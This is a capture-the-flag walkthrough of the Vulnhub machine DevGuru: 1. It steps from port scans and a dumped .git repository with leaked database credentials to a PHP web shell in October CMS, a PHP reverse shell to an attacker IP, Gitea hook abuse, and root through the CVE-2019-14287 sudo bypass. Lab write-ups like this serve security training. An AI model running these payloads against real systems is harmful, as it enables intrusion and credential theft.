DevGuru: 1 - Vulnhub
DevGuru: 1 - A Vulnhub vulnerable machine walkthrough.
Table of contents
🔎 Enumeration
Port scan
Fast nmap scan.
┌──(tiago㉿kali)-[~]
└─$ nmap -sT -p- --open 192.168.0.63
Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-10 11:22 -03
Nmap scan report for 192.168.0.63
Host is up (0.0035s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
8585/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 16.46 seconds
Nmap scan in detail.
┌──(tiago㉿kali)-[~]
└─$ sudo nmap -sV -A -O -p22,80,8585 192.168.0.63 1 ⨯
[sudo] password for tiago:
Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-10 11:24 -03
Nmap scan report for 192.168.0.63
Host is up (0.0018s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 2a:46:e8:2b:01:ff:57:58:7a:5f:25:a4:d6:f2:89:8e (RSA)
| 256 08:79:93:9c:e3:b4:a4:be:80:ad:61:9d:d3:88:d2:84 (ECDSA)
|_ 256 9c:f9:88:d4:33:77:06:4e:d9:7c:39:17:3e:07:9c:bd (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-generator: DevGuru
| http-git:
| 192.168.0.63:80/.git/
| Git repository found!
| Repository description: Unnamed repository; edit this file 'description' to name the...
| Last commit message: first commit
| Remotes:
| http://devguru.local:8585/frank/devguru-website.git
|_ Project type: PHP application (guessed from .gitignore)
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Corp - DevGuru
8585/tcp open unknown
| fingerprint-strings:
| GenericLines:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 200 OK
| Content-Type: text/html; charset=UTF-8
| Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647
| Set-Cookie: i_like_gitea=60a60f9a3f2071e6; Path=/; HttpOnly
| Set-Cookie: _csrf=gZLNwT-DkBTkP2Femsn0l4c6rU46MTYwNzYxMDI5MDY1NDc0OTg2Mg; Path=/; Expires=Fri, 11 Dec 2020 14:24:50 GMT; HttpOnly
| X-Frame-Options: SAMEORIGIN
| Date: Thu, 10 Dec 2020 14:24:50 GMT
| <!DOCTYPE html>
| <html lang="en-US" class="theme-">
| <head data-suburl="">
| <meta charset="utf-8">
| <meta name="viewport" content="width=device-width, initial-scale=1">
| <meta http-equiv="x-ua-compatible" content="ie=edge">
| <title> Gitea: Git with a cup of tea </title>
| <link rel="manifest" href="/manifest.json" crossorigin="use-credentials">
| <meta name="theme-color" content="#6cc644">
| <meta name="author" content="Gitea - Git with a cup of tea" />
| <meta name="description" content="Gitea (Git with a cup of tea) is a painless
| HTTPOptions:
| HTTP/1.0 404 Not Found
| Content-Type: text/html; charset=UTF-8
| Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647
| Set-Cookie: i_like_gitea=5dba56f953e777cd; Path=/; HttpOnly
| Set-Cookie: _csrf=qFWDFJyuERvO3K1gxAiy1eV2lG86MTYwNzYxMDI5MDc3MDAyMjI4Ng; Path=/; Expires=Fri, 11 Dec 2020 14:24:50 GMT; HttpOnly
| X-Frame-Options: SAMEORIGIN
| Date: Thu, 10 Dec 2020 14:24:50 GMT
| <!DOCTYPE html>
| <html lang="en-US" class="theme-">
| <head data-suburl="">
| <meta charset="utf-8">
| <meta name="viewport" content="width=device-width, initial-scale=1">
| <meta http-equiv="x-ua-compatible" content="ie=edge">
| <title>Page Not Found - Gitea: Git with a cup of tea </title>
| <link rel="manifest" href="/manifest.json" crossorigin="use-credentials">
| <meta name="theme-color" content="#6cc644">
| <meta name="author" content="Gitea - Git with a cup of tea" />
|_ <meta name="description" content="Gitea (Git with a c
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8585-TCP:V=7.91%I=7%D=12/10%Time=5FD22FB2%P=x86_64-pc-linux-gnu%r(G
SF:enericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20
SF:text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\
SF:x20Request")%r(GetRequest,2A02,"HTTP/1\.0\x20200\x20OK\r\nContent-Type:
SF:\x20text/html;\x20charset=UTF-8\r\nSet-Cookie:\x20lang=en-US;\x20Path=/
SF:;\x20Max-Age=2147483647\r\nSet-Cookie:\x20i_like_gitea=60a60f9a3f2071e6
SF:;\x20Path=/;\x20HttpOnly\r\nSet-Cookie:\x20_csrf=gZLNwT-DkBTkP2Femsn0l4
SF:c6rU46MTYwNzYxMDI5MDY1NDc0OTg2Mg;\x20Path=/;\x20Expires=Fri,\x2011\x20D
SF:ec\x202020\x2014:24:50\x20GMT;\x20HttpOnly\r\nX-Frame-Options:\x20SAMEO
SF:RIGIN\r\nDate:\x20Thu,\x2010\x20Dec\x202020\x2014:24:50\x20GMT\r\n\r\n<
SF:!DOCTYPE\x20html>\n<html\x20lang=\"en-US\"\x20class=\"theme-\">\n<head\
SF:x20data-suburl=\"\">\n\t<meta\x20charset=\"utf-8\">\n\t<meta\x20name=\"
SF:viewport\"\x20content=\"width=device-width,\x20initial-scale=1\">\n\t<m
SF:eta\x20http-equiv=\"x-ua-compatible\"\x20content=\"ie=edge\">\n\t<title
SF:>\x20Gitea:\x20Git\x20with\x20a\x20cup\x20of\x20tea\x20</title>\n\t<lin
SF:k\x20rel=\"manifest\"\x20href=\"/manifest\.json\"\x20crossorigin=\"use-
SF:credentials\">\n\t<meta\x20name=\"theme-color\"\x20content=\"#6cc644\">
SF:\n\t<meta\x20name=\"author\"\x20content=\"Gitea\x20-\x20Git\x20with\x20
SF:a\x20cup\x20of\x20tea\"\x20/>\n\t<meta\x20name=\"description\"\x20conte
SF:nt=\"Gitea\x20\(Git\x20with\x20a\x20cup\x20of\x20tea\)\x20is\x20a\x20pa
SF:inless")%r(HTTPOptions,212A,"HTTP/1\.0\x20404\x20Not\x20Found\r\nConten
SF:t-Type:\x20text/html;\x20charset=UTF-8\r\nSet-Cookie:\x20lang=en-US;\x2
SF:0Path=/;\x20Max-Age=2147483647\r\nSet-Cookie:\x20i_like_gitea=5dba56f95
SF:3e777cd;\x20Path=/;\x20HttpOnly\r\nSet-Cookie:\x20_csrf=qFWDFJyuERvO3K1
SF:gxAiy1eV2lG86MTYwNzYxMDI5MDc3MDAyMjI4Ng;\x20Path=/;\x20Expires=Fri,\x20
SF:11\x20Dec\x202020\x2014:24:50\x20GMT;\x20HttpOnly\r\nX-Frame-Options:\x
SF:20SAMEORIGIN\r\nDate:\x20Thu,\x2010\x20Dec\x202020\x2014:24:50\x20GMT\r
SF:\n\r\n<!DOCTYPE\x20html>\n<html\x20lang=\"en-US\"\x20class=\"theme-\">\
SF:n<head\x20data-suburl=\"\">\n\t<meta\x20charset=\"utf-8\">\n\t<meta\x20
SF:name=\"viewport\"\x20content=\"width=device-width,\x20initial-scale=1\"
SF:>\n\t<meta\x20http-equiv=\"x-ua-compatible\"\x20content=\"ie=edge\">\n\
SF:t<title>Page\x20Not\x20Found\x20-\x20\x20Gitea:\x20Git\x20with\x20a\x20
SF:cup\x20of\x20tea\x20</title>\n\t<link\x20rel=\"manifest\"\x20href=\"/ma
SF:nifest\.json\"\x20crossorigin=\"use-credentials\">\n\t<meta\x20name=\"t
SF:heme-color\"\x20content=\"#6cc644\">\n\t<meta\x20name=\"author\"\x20con
SF:tent=\"Gitea\x20-\x20Git\x20with\x20a\x20cup\x20of\x20tea\"\x20/>\n\t<m
SF:eta\x20name=\"description\"\x20content=\"Gitea\x20\(Git\x20with\x20a\x2
SF:0c");
MAC Address: 08:00:27:FF:2C:BE (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 1.83 ms 192.168.0.63
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 101.57 seconds
Site DevGuru available in port 80
.
Gitea in port 8585
.
Web discovery
Nikto
Scanning and enumerating all websites.
┌──(root💀kali)-[/home/tiago]
└─# nikto -h 192.168.0.63
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 192.168.0.63
+ Target Hostname: 192.168.0.63
+ Target Port: 80
+ Start Time: 2020-12-10 11:37:30 (GMT-3)
---------------------------------------------------------------------------
+ Server: Apache/2.4.29 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.29 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ OSVDB-3093: /.htaccess: Contains configuration and/or authorization information
+ OSVDB-3233: /icons/README: Apache default file found.
+ OSVDB-3092: /.git/index: Git Index file may contain directory listing information.
+ /.git/HEAD: Git HEAD file found. Full repo details may be present.
+ /.git/config: Git config file found. Infos about repo details may be present.
+ X-XSS-Protection header has been set to disable XSS Protection. There is unlikely to be a good reason for this.
+ /.gitignore: .gitignore file found. It is possible to grasp the directory structure.
+ 7915 requests: 0 error(s) and 11 item(s) reported on remote host
+ End Time: 2020-12-10 11:40:03 (GMT-3) (153 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
┌──(tiago㉿kali)-[~]
└─$ nikto -h 192.168.0.63:8585
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 192.168.0.63
+ Target Hostname: 192.168.0.63
+ Target Port: 8585
+ Start Time: 2020-12-10 11:37:50 (GMT-3)
---------------------------------------------------------------------------
+ Server: No banner retrieved
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Cookie lang created without the httponly flag
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Uncommon header 'content-disposition' found, with contents: attachment; filename=favicon.png
+ Uncommon header 'content-transfer-encoding' found, with contents: binary
+ Uncommon header 'content-description' found, with contents: File Transfer
+ Cookie redirect_to created without the httponly flag
+ /debug/: Possible debug directory/program found.
+ 7919 requests: 0 error(s) and 8 item(s) reported on remote host
+ End Time: 2020-12-10 11:38:19 (GMT-3) (29 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
ffuf
Doing some enumeration with ffuf
┌──(root💀kali)-[/home/tiago/apps/tools/ffuf_1.1.0_linux_amd64]
└─# ./ffuf -w /usr/share/wordlists/dirb/big.txt -u http://192.168.0.63/FUZZ
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.1.0
________________________________________________
:: Method : GET
:: URL : http://192.168.0.63/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/dirb/big.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403
________________________________________________
.htaccess [Status: 200, Size: 1678, Words: 282, Lines: 53]
0 [Status: 200, Size: 12664, Words: 929, Lines: 331]
About [Status: 200, Size: 18656, Words: 977, Lines: 478]
Services [Status: 200, Size: 10026, Words: 815, Lines: 267]
about [Status: 200, Size: 18656, Words: 977, Lines: 478]
backend [Status: 302, Size: 406, Words: 60, Lines: 12]
config [Status: 301, Size: 313, Words: 20, Lines: 10]
modules [Status: 301, Size: 314, Words: 20, Lines: 10]
plugins [Status: 301, Size: 314, Words: 20, Lines: 10]
services [Status: 200, Size: 10026, Words: 815, Lines: 267]
storage [Status: 301, Size: 314, Words: 20, Lines: 10]
themes [Status: 301, Size: 313, Words: 20, Lines: 10]
vendor [Status: 301, Size: 313, Words: 20, Lines: 10]
:: Progress: [20469/20469]Â :: Job [1/1] :: 97 req/sec :: Duration: [0:03:30] :: Errors: 0 ::
┌──(tiago㉿kali)-[~/apps/tools/ffuf_1.1.0_linux_amd64]
└─$ ./ffuf -w /usr/share/wordlists/dirb/big.txt -u http://192.168.0.63:8585/FUZZ 127 ⨯
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.1.0
________________________________________________
:: Method : GET
:: URL : http://192.168.0.63:8585/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/dirb/big.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403
________________________________________________
admin [Status: 302, Size: 34, Words: 2, Lines: 3]
avatars [Status: 302, Size: 31, Words: 2, Lines: 3]
css [Status: 302, Size: 27, Words: 2, Lines: 3]
debug [Status: 200, Size: 160, Words: 18, Lines: 5]
explore [Status: 302, Size: 37, Words: 2, Lines: 3]
fonts [Status: 302, Size: 29, Words: 2, Lines: 3]
frank [Status: 200, Size: 11236, Words: 968, Lines: 345]
healthcheck [Status: 200, Size: 26, Words: 4, Lines: 2]
img [Status: 302, Size: 27, Words: 2, Lines: 3]
issues [Status: 302, Size: 34, Words: 2, Lines: 3]
js [Status: 302, Size: 26, Words: 2, Lines: 3]
milestones [Status: 302, Size: 34, Words: 2, Lines: 3]
notifications [Status: 302, Size: 34, Words: 2, Lines: 3]
vendor [Status: 302, Size: 30, Words: 2, Lines: 3]
:: Progress: [20469/20469]Â :: Job [1/1] :: 346 req/sec :: Duration: [0:00:59] :: Errors: 0 ::
Nuclei
Back to nikto
look at those git files available to us. The same can be achieved with nuclei
.
./nuclei -l urls.txt -t nuclei-templates/files/ -o results.txt
Git-dumper
Now we can dump it easily with git-dumper
on folder devguru.
./git-dumper.py http://192.168.0.63/.git devguru
Inside devguru folder, you’ll finde only .git
file. Let’s analyse it and checkout to last commit.
git log --pretty=oneline
git log --pretty=format:"%h %s" --graph
Now checkout to commit and list it’s content.
git checkout 7de9115
ls
Looking for password in config
folder.
fgrep -r password config/
'mysql' => [
'driver' => 'mysql',
'engine' => 'InnoDB',
'host' => 'localhost',
'port' => 3306,
'database' => 'octoberdb',
'username' => 'october',
'password' => 'SQ66EBYx4GT3byXH',
'charset' => 'utf8mb4',
'collation' => 'utf8mb4_unicode_ci',
'prefix' => '',
'varcharmax' => 191,
],
Look at the path adminer.php
, sounds interesting.
The database Adminer has its version as 4.7.7, giving me suggestion to update to 4.7.8. Maybe some vulnerability ahead.
Verifying MySQL version
SHOW VARIABLES LIKE "%version%"
Looking at user table.
Create a bcrypt password. Take care with the amount of rounds, I used 10 rounds.
Password GetShell
Clone Frank user line and create yours with your own user.
Now you can login with your user.
October CMS Version 1.0.1
🚪🚶 Foothold
Once logged into October, we can add a malicious php code to be executed when the page loaded. Let’s do it in Home page. First create a malicious markup which will call out php code.
Now insert the malicious code.
function onStart()
{
$this->page["PoisonVar"] = system($_GET['cmd']);
}
Save it and run a command through cmd.
This is the response of the listed directory.
Time to inject a command in cmd and get our first shell.
php -r '$sock=fsockopen("192.168.0.64",1234);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);'
Now just wait for the connection.
┌──(root💀kali)-[/home/tiago]
└─# rlwrap nc -nlvp 1234
listening on [any] 1234 .
Spawning a better shell
python3.6 -c 'import pty; pty.spawn("/bin/bash")'
cd /tmp
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
chmod +x LinEnum.sh
./LinEnum.sh -s -k keyword -r report -e /tmp/ -t
LinEnum script found some interesting backup files.
less app.ini.bak
[database]
:
; Database to use. Either "mysql", "postgres", "mssql" or "sqlite3".
:
DB_TYPE = mysql
:
HOST = 127.0.0.1:3306
:
NAME = gitea
:
USER = gitea
:
; Use PASSWD = `your password` for quoting if you use special characters in the
:
password.
:
PASSWD = UfFPTF8C8jjxVF2m
The only way I found to reproduce such hash was takeing advantage of this opensource project, reading the code and adapting it to a simple golang program.
https://github.com/go-gitea/gitea/blob/master/models/user.go#L379-L397
//https://medium.com/rungo/how-to-write-a-simple-go-program-13fd104f3018
//https://godoc.org/golang.org/x/crypto/pbkdf2
package main
import (
"crypto/sha256"
"golang.org/x/crypto/pbkdf2"
"fmt"
)
func main(){
var passwd []byte
passwd = pbkdf2.Key([]byte("0xtiago"), []byte("MaaahOeeee"), 10000, 50, sha256.New)
fmt.Println(fmt.Sprintf("%x",passwd))
}
Installing dependency and running the program.
$ go get golang.org/x/crypto/pbkdf2
$ go run hash.go
f1eb1933069a3552722c29faeeeb1271e2e66c0eae8646201df479f90c99fa4075e8c568852a7a54b7665c3e760911706509
Now just clone the table line and create a new user with the hash and salt.
$ ps aux | grep gitea
Gitea process is running as frank user.
Create a new repository and add a reverse shell script on post-receive Git hook.
Then i just had to clone and commit a new change like the example bellow, and received the shell back.
$ git clone http://devguru.local:8585/tiago/Teste.git
$ cd Teste
$ touch test.txt
$ git add .
$ git commit -am "Primeiro commmit"
$ git push origin master
🛡️ Privilege Escalation
One of the first thing to do during the enumeration is check the permissions I have executing something as root, like sudo -l
.
I can run sqlite3 as root, but it will ask frank password for this, but we don’t have this information. Verifying sudo version, I figured out that is vulnerable to privilege escalation, as says CVE-2019-14287.
From now on I used this to references:
Time to become root.
sudo -u#-1 sqlite3 /dev/null '.shell /bin/bash'
🍻 Complete
root@devguru:/root# cat msg.txt
cat msg.txt
Congrats on rooting DevGuru!
Contact me via Twitter @zayotic to give feedback!
root@devguru:/root# cat root.txt
cat root.txt
96440606fb88aa7497cde5a8e68daf8f